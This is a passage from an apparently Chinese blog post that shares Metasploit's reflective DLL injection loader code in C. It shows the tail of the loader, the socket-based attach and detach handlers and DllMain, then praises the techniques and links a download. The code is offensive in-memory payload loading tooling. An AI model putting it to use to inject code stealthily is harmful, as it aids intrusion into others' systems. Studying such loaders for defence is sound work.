((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // call our DLLMain(), fudging our hinstDLL value ((DLLMAIN)dwValueA)( (HINSTANCE)dwBaseAddress, DLL_PROCESS_ATTACH, NULL ); // STEP 7: return our new DllMain address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH return (DWORD)dwValueA; } //===============================================================================================// BOOL MetasploitDllAttach( SOCKET socket ) { Init( socket ); return TRUE; } //===============================================================================================// BOOL MetasploitDllDetach( DWORD dwExitFunc ) { switch( dwExitFunc ) { case EXITFUNC_SEH: SetUnhandledExceptionFilter( NULL ); break; case EXITFUNC_THREAD: ExitThread( 0 ); break; case EXITFUNC_PROCESS: ExitProcess( 0 ); break; default: break; } return TRUE; } //===============================================================================================// BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_METASPLOIT_ATTACH: bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); break; case DLL_METASPLOIT_DETACH: bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } //===============================================================================================//

 

    我待会把paper和代码都上传到我的资源里面,有爱的同学自己去下载吧~

    代码里面用到了各种经典方法,如hash,api定位等,模拟动态加载dll(分区块复制,内存对齐),数据结构的定义绝对可以收藏,对PE文件的高级语言操作都可以学习,还有大爱的内联汇编~~oh~

 

updated:

资源下载地址:http://download.csdn.net/source/3343721,需要一个资源分,嘿嘿~

 

updated:

加入对模拟内存加载dll的吐槽.(之前想当然了..我错了)

你可能感兴趣的:(网络安全)